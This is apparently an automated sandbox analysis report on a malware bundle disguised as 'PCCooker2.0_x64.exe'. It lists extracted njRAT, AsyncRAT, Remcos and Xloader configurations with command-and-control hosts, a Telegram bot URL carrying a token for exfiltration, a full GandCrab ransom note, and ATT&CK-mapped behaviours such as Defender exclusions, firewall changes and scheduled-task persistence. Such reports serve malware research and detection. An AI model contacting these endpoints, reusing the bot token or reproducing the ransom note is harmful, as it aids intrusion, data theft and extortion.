asyncrat | d5395f121277d2b38f4173c7df0a20a3de99edfcfe2aa697080cc81170eb76ab

Resubmissions

09/03/2025, 01:58

250309-cdv29swybs 10

08/03/2025, 06:55

250308-hp35xatjt9 10

08/03/2025, 04:53

250308-fh1ebssky5 10

Analysis

max time kernel
100s
max time network
119s
platform
windows11-21h2_x64
resource
win11-20250217-en
resource tags

arch:x64arch:x86image:win11-20250217-enlocale:en-usos:windows11-21h2-x64system
submitted
08/03/2025, 06:55

Sharing

Copy URL

Twitter E-mail

Reason

Machine shutdown

Report Analysis Logs

General

Target

My-Skidded-malwares-main/PCCooker2.0_x64.exe
Size

24.5MB
MD5

a5ca2d3b20cf191139a47d7261916d9e
SHA1

5d56e08cc55731f96db03911dba96dcdf22bcac8
SHA256

ab6b0c8a2fd898517ff036b9fc94ce581febdab5a69433f491fb70bc55ee1833
SHA512

e008b76d8040ef039424e6f7eec37b866fc7ab71d1cb11d839b4d4449758b3b8174249c353d1726ed736cb9c854cafda7648aee7a12c93d8a8e0cd0013a0c3ad
SSDEEP

49152:qnUSstktA/zuJuuS6FDlUhBKds9he3qUtM9l58uRgG+vTD7o9qa910rUo29xqcUt:ql

Malware Config

Extracted

Family

njrat

Version

im523

Botnet

puked

147.185.221.20:47570

Mutex

20006afb0ec33f2e48c8c1f17d4d3382

Attributes

reg_key
20006afb0ec33f2e48c8c1f17d4d3382
splitter
|'|'|

Extracted

Family

njrat

Version

0.7d

Botnet

чучундра

hakim32.ddns.net:2000

safety-bronze.gl.at.ply.gg:4444

Mutex

27b92504703b09d3ee2dae0873e8e3f3

Attributes

reg_key
27b92504703b09d3ee2dae0873e8e3f3
splitter
|'|'|

Extracted

Family

asyncrat

Botnet

Default

127.0.0.1:6606

127.0.0.1:7707

127.0.0.1:8808

https://api.telegram.org/bot7293375371:AAFwIvNWcuknS3y3mtsx4yNSSTkj8NCF_ko/sendMessage?chat_id=5795480469

Mutex

AsyncMutex_6SI8OkPnk

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Extracted

Family

remcos

Botnet

AUGUST CRYPTER TOOLZ GRACE STUB

teamfavour222.ddns.net :6767

odogwuvisual123.duckdns.org:6767

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
-YFLE4M
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Extracted

Path

C:\$Recycle.Bin\HLPAXIRZR-DECRYPT.txt

Ransom Note

---= GANDCRAB V5.0.3 =--- ***********************UNDER NO CIRCUMSTANCES DO NOT DELETE THIS FILE, UNTIL ALL YOUR DATA IS RECOVERED*********************** *****FAILING TO DO SO, WILL RESULT IN YOUR SYSTEM CORRUPTION, IF THERE WILL BE DECRYPTION ERRORS***** Attention! All your files, documents, photos, databases and other important files are encrypted and have the extension: .HLPAXIRZR The only method of recovering files is to purchase an unique private key. Only we can give you this key and only we can recover your files. The server with your key is in a closed network TOR. You can get there by the following ways: ---------------------------------------------------------------------------------------- | 0. Download Tor browser - https://www.torproject.org/ | 1. Install Tor browser | 2. Open Tor Browser | 3. Open link in TOR browser: http://gandcrabmfe6mnef.onion/25341c79c72ad78 | 4. Follow the instructions on this page ---------------------------------------------------------------------------------------- On our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. ATTENTION! IN ORDER TO PREVENT DATA DAMAGE: * DO NOT MODIFY ENCRYPTED FILES * DO NOT CHANGE DATA BELOW ---BEGIN GANDCRAB KEY--- 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 ---END GANDCRAB KEY--- ---BEGIN PC DATA--- wfKD6iudumBkmpL8IRr4U4exEVaoOXLtwDwmOrT1y1YWvOiWMx5GYaRdvZZfTpJRpHYQ7mxWo7fYTGeHhh5qBJzzs9MC7736UkGSDDniUJJG8/LFF//kmGmoAZAGLo2j5/wd2UrxMJK+iqKhTkS3ArgAxrZOOOiXrbnhbWMkLHQnbYuWlMClYZxYU6SDxpopRo5r292AV1KIZBZV4APBuUHcKSIr2MWMI0O1MKIP2IpKLE2TS5wNmoQoAHZIP7k/TfrG1tVzlDb3jcZAB3gql9dnWN0lCD4xdg7bDNQrvH1xSi3FCw+6kfktKtizqdynr7r154JiurEmkUXB4uKh/2U2FesnGohYa1qKBnTtqhHUEYgb9ScV4tG4Laa5Y59yPYyu2Qiiy5RtTRYqBlPKJPYJzJFqwNcoBxPInKc+DO5cALafi2Eyg61rLg32xAxKww72ZinpDhFO3vfLNuat1wUZN3QeRkmKCjnb1ifgDX9lmT3f7CydQUtnnLIqlsiw73IGVY3pfjf3fBwceMB8P3BNg39XQ3DC2aZBEuHtLEi+BdBMOZH4HpsOeb/YRZoP4YksV8zuv7OczMv9OXYAh9gzrewdRb9tHf+DbmDW4OIcXpVeLdQr9FxhOVLL2u9gwWmeLQ4zxgtafmr5TWEPiWMEkrI= ---END PC DATA---

URLs

http://gandcrabmfe6mnef.onion/25341c79c72ad78

Extracted

Family

xloader

Version

2.6

Campaign

eido

Decoy

revellbb.com

tempranillowine.net

viralstrategies.info

blacktxu.com

flfththirdbank.com

vaoex.com

theselfdirectedinvestor.com

vinadelmar.travel

othersidejimmythemonkey.com

jaguar-landrovercenter-graz.com

supremeosterreich.com

chatsubs.com

free99.design

serviciosmvs.com

bongmecams.xyz

malikwoodson.com

onlinegamebox.club

694624.com

yeezyzapatos.club

istanbul-hairtransplant.com

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat
DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat
Dcrat family
dcrat
Njrat family
njrat

Process spawned unexpected child process 64 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2636	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1784	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	972	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2716	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3584	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1516	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4824	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	380	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2188	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4308	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2220	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1660	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5240	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1516	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2208	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2636	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1788	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5320	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5580	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5600	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5652	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5812	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5840	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5884	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6032	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6124	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6116	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5480	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5344	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4408	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5660	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5600	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5288	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5468	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1788	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5620	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5356	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6124	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4140	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5400	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5232	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5432	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3788	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5568	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6652	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6924	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6244	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5996	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6344	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6320	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5620	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5384	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3380	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5408	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7024	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6676	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6640	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6852	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7036	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6080	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6972	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7040	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6884	4692	schtasks.exe	100
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6836	4692	schtasks.exe	100

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos
StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 2 IoCs

resource	yara_rule
behavioral23/files/0x001900000002af0c-201.dat	family_stormkitty
behavioral23/memory/4972-225-0x0000000000760000-0x0000000000792000-memory.dmp	family_stormkitty

Stormkitty family
stormkitty
Xloader
Xloader is a rebranded version of Formbook malware.
loader xloader
Xloader family
xloader
njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral23/files/0x001900000002af0c-201.dat	family_asyncrat

DCRat payload 4 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

resource	yara_rule
behavioral23/files/0x001900000002af0b-190.dat	dcrat
behavioral23/memory/3192-219-0x00000000002C0000-0x0000000000396000-memory.dmp	dcrat
behavioral23/files/0x001c00000002af1c-255.dat	dcrat
behavioral23/memory/5084-276-0x00000000002F0000-0x00000000003C6000-memory.dmp	dcrat

Xloader payload 2 IoCs

rat

resource	yara_rule
behavioral23/memory/8392-2552-0x0000000000400000-0x000000000042B000-memory.dmp	xloader
behavioral23/memory/6056-2696-0x0000000000C40000-0x0000000000C6B000-memory.dmp	xloader

Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
6996	powershell.exe
7688	powershell.exe
7680	powershell.exe
7672	powershell.exe
7636	powershell.exe
6236	powershell.exe
6688	powershell.exe
6744	powershell.exe
5828	powershell.exe
7696	powershell.exe
7664	powershell.exe
3108	Powershell.exe

Modifies Windows Firewall 2 TTPs 3 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
6136	netsh.exe
6184	netsh.exe
5932	netsh.exe

Executes dropped EXE 11 IoCs

pid	Process
4448	VirusShare_0bd61f046f4d99491fa3588dba294e04.exe
1824	クラック.exe
4564	2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe
3192	5e710462c65fe899466e4fb7c1e33c9a.exe
4972	7f1630df6b57af024a3b561bdadc208f.exe
1592	31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe
3636	34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe
1672	57ccb6f0bd910fed428761828ae93553.exe
1960	70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2.exe
5084	73c1c41b9e71c48e752a5cd19fe808b6.exe
564	75c82fd18fcf8a51bc1b32a89852d90978fa5e7a55281f42b0a1de98d14644fa.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Uses the VBS compiler for execution 1 TTPs

Command and Scripting Interpreter
T1059

VMProtect packed file 1 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

resource	yara_rule
behavioral23/files/0x001900000002af44-372.dat	vmprotect

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
43	discord.com
139	discord.com

UPX packed file 27 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral23/files/0x001c00000002ae0c-7.dat	upx
behavioral23/memory/4448-10-0x0000000000400000-0x0000000000523000-memory.dmp	upx
behavioral23/memory/4448-12-0x0000000000400000-0x0000000000523000-memory.dmp	upx
behavioral23/memory/4448-95-0x0000000000400000-0x0000000000523000-memory.dmp	upx
behavioral23/files/0x001900000002af3a-313.dat	upx
behavioral23/memory/2224-327-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral23/memory/4448-531-0x0000000000400000-0x0000000000523000-memory.dmp	upx
behavioral23/memory/4448-591-0x0000000000400000-0x0000000000523000-memory.dmp	upx
behavioral23/memory/4448-623-0x0000000000400000-0x0000000000523000-memory.dmp	upx
behavioral23/memory/2224-677-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral23/memory/2224-676-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral23/memory/4448-1108-0x0000000000400000-0x0000000000523000-memory.dmp	upx
behavioral23/memory/2224-1574-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral23/memory/4448-1652-0x0000000000400000-0x0000000000523000-memory.dmp	upx
behavioral23/memory/2224-1731-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral23/memory/4448-1826-0x0000000000400000-0x0000000000523000-memory.dmp	upx
behavioral23/memory/2224-1889-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral23/memory/4448-2332-0x0000000000400000-0x0000000000523000-memory.dmp	upx
behavioral23/memory/2224-2424-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral23/memory/4448-2614-0x0000000000400000-0x0000000000523000-memory.dmp	upx
behavioral23/memory/2224-2660-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral23/memory/4448-2786-0x0000000000400000-0x0000000000523000-memory.dmp	upx
behavioral23/memory/2224-2812-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral23/memory/4448-2955-0x0000000000400000-0x0000000000523000-memory.dmp	upx
behavioral23/memory/2224-3021-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral23/memory/4448-3109-0x0000000000400000-0x0000000000523000-memory.dmp	upx
behavioral23/memory/2224-3177-0x0000000000400000-0x000000000048A000-memory.dmp	upx

Drops file in Program Files directory 15 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\57ccb6f0bd910fed428761828ae93553.exe	クラック.exe
File created	C:\Program Files\WindowsPowerShell\Configuration\c2fb092fb7fbdb	5e710462c65fe899466e4fb7c1e33c9a.exe
File created	C:\Program Files (x86)\70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2.exe	クラック.exe
File created	C:\Program Files (x86)\75c82fd18fcf8a51bc1b32a89852d90978fa5e7a55281f42b0a1de98d14644fa.exe	クラック.exe
File created	C:\Program Files (x86)\2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe	クラック.exe
File created	C:\Program Files (x86)\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe	クラック.exe
File created	C:\Program Files (x86)\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe	クラック.exe
File opened for modification	C:\Program Files\WindowsPowerShell\Configuration\57ccb6f0bd910fed428761828ae93553.exe	5e710462c65fe899466e4fb7c1e33c9a.exe
File created	C:\Program Files (x86)\938b92958ded4d50a357d22eddf141ad.exe	クラック.exe
File created	C:\PROGRA~2\is240616500.log	VirusShare_0bd61f046f4d99491fa3588dba294e04.exe
File created	C:\Program Files (x86)\7f1630df6b57af024a3b561bdadc208f.exe	クラック.exe
File created	C:\Program Files (x86)\73c1c41b9e71c48e752a5cd19fe808b6.exe	クラック.exe
File created	C:\Program Files (x86)\5e710462c65fe899466e4fb7c1e33c9a.exe	クラック.exe
File created	C:\Program Files\WindowsPowerShell\Configuration\57ccb6f0bd910fed428761828ae93553.exe	5e710462c65fe899466e4fb7c1e33c9a.exe
File created	C:\Program Files (x86)\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe	クラック.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
5744	4140	WerFault.exe	139

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	クラック.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7f1630df6b57af024a3b561bdadc208f.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PCCooker2.0_x64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	VirusShare_0bd61f046f4d99491fa3588dba294e04.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	75c82fd18fcf8a51bc1b32a89852d90978fa5e7a55281f42b0a1de98d14644fa.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4356	PING.EXE

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
7592	timeout.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
6056	NETSTAT.EXE

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4356	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 64 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5224	schtasks.exe
6124	schtasks.exe
5344	schtasks.exe
5232	schtasks.exe
5548	schtasks.exe
1280	schtasks.exe
832	schtasks.exe
1516	schtasks.exe
5884	schtasks.exe
3788	schtasks.exe
7036	schtasks.exe
6976	schtasks.exe
5812	schtasks.exe
5600	schtasks.exe
6972	schtasks.exe
6936	schtasks.exe
6672	schtasks.exe
2208	schtasks.exe
5600	schtasks.exe
5400	schtasks.exe
5568	schtasks.exe
5996	schtasks.exe
6320	schtasks.exe
7100	schtasks.exe
6132	schtasks.exe
4824	schtasks.exe
6836	schtasks.exe
5852	schtasks.exe
716	schtasks.exe
7056	schtasks.exe
1204	schtasks.exe
6184	schtasks.exe
4804	schtasks.exe
380	schtasks.exe
4308	schtasks.exe
5240	schtasks.exe
6344	schtasks.exe
5620	schtasks.exe
5828	schtasks.exe
7272	schtasks.exe
2636	schtasks.exe
972	schtasks.exe
1788	schtasks.exe
4408	schtasks.exe
6124	schtasks.exe
6640	schtasks.exe
6352	schtasks.exe
6580	schtasks.exe
5580	schtasks.exe
6124	schtasks.exe
5288	schtasks.exe
5356	schtasks.exe
5432	schtasks.exe
6652	schtasks.exe
6668	schtasks.exe
8324	schtasks.exe
5320	schtasks.exe
5620	schtasks.exe
6924	schtasks.exe
5384	schtasks.exe
6676	schtasks.exe
6720	schtasks.exe
6344	schtasks.exe
7592	schtasks.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
3192	5e710462c65fe899466e4fb7c1e33c9a.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4972	7f1630df6b57af024a3b561bdadc208f.exe
Token: SeDebugPrivilege	3192	5e710462c65fe899466e4fb7c1e33c9a.exe
Token: SeDebugPrivilege	1672	57ccb6f0bd910fed428761828ae93553.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
4448	VirusShare_0bd61f046f4d99491fa3588dba294e04.exe
4448	VirusShare_0bd61f046f4d99491fa3588dba294e04.exe

Suspicious use of WriteProcessMemory 33 IoCs

description	pid	Process	procid_target
PID 1196 wrote to memory of 4448	1196	PCCooker2.0_x64.exe	83
PID 1196 wrote to memory of 4448	1196	PCCooker2.0_x64.exe	83
PID 1196 wrote to memory of 4448	1196	PCCooker2.0_x64.exe	83
PID 1196 wrote to memory of 1824	1196	PCCooker2.0_x64.exe	84
PID 1196 wrote to memory of 1824	1196	PCCooker2.0_x64.exe	84
PID 1196 wrote to memory of 1824	1196	PCCooker2.0_x64.exe	84
PID 1824 wrote to memory of 4564	1824	クラック.exe	86
PID 1824 wrote to memory of 4564	1824	クラック.exe	86
PID 1824 wrote to memory of 4564	1824	クラック.exe	86
PID 1824 wrote to memory of 3192	1824	クラック.exe	331
PID 1824 wrote to memory of 3192	1824	クラック.exe	331
